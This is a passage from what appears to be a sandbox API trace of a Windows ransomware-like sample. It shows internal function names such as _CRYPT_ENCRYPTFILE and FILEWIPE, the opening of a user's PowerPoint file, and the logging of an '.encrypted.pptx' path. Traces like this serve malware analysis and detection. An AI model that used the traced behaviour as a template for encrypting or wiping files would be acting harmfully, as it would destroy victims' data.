lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.105] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.105] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.105] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.105] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.105] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.105] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.105] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.106] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0026.106] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.106] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.106] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.106] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.106] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.107] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.107] CharLowerBuffW (in: lpsz="byte[24988]", cchLength=0xb | out: lpsz="byte[24988]") returned 0xb [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.107] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.107] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.107] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.108] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.108] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.108] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.108] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.108] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.109] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.109] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.109] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.109] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.109] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.109] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.109] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.109] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.109] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.110] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.110] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.110] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.110] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.110] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.110] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.111] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.111] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.111] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.111] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6026) returned 1 [0026.111] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.111] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.111] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.111] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x178a, lpOverlapped=0x0) returned 1 [0026.111] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.111] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x178a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.111] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6026) returned 1 [0026.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\ZGd5yLk44KNPmbMbRYf.encrypted.pptx\r\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0026.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\ZGd5yLk44KNPmbMbRYf.encrypted.pptx\r\n", cchWideChar=68, lpMultiByteStr=0xe8f4051f90, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\ZGd5yLk44KNPmbMbRYf.encrypted.pptx\r\n", lpUsedDefaultChar=0x0) returned 68 [0026.111] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f406a070*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a070*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x43, lpOverlapped=0x0) returned 1 [0026.112] CloseHandle (hObject=0x1fc) returned 1 [0026.112] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.112] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.113] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.113] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.113] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.113] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.113] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.114] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.114] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178880, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.115] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178880, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.115] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\_Z34wuM36pNQy_aKa.pptx", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0026.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\_Z34wuM36pNQy_aKa.pptx", cchWideChar=54, lpMultiByteStr=0xe8f404ba10, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\_Z34wuM36pNQy_aKa.pptx", lpUsedDefaultChar=0x0) returned 54 [0026.115] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\_Z34wuM36pNQy_aKa.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\_z34wum36pnqy_aka.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=54, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0026.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=54, lpWideCharStr=0xe8f4065df0, cchWideChar=54 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\_Z34wuM36pNQy_aKa.pptx") returned 54 [0026.116] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.116] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.116] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.116] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.117] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.117] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.117] CloseHandle (hObject=0x1fc) returned 1 [0026.117] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.117] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.117] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.117] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.117] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.117] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.117] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.117] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.117] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.118] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.118] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.118] PeekMessageW (in: lpMsg=0xe8f3dfee40, 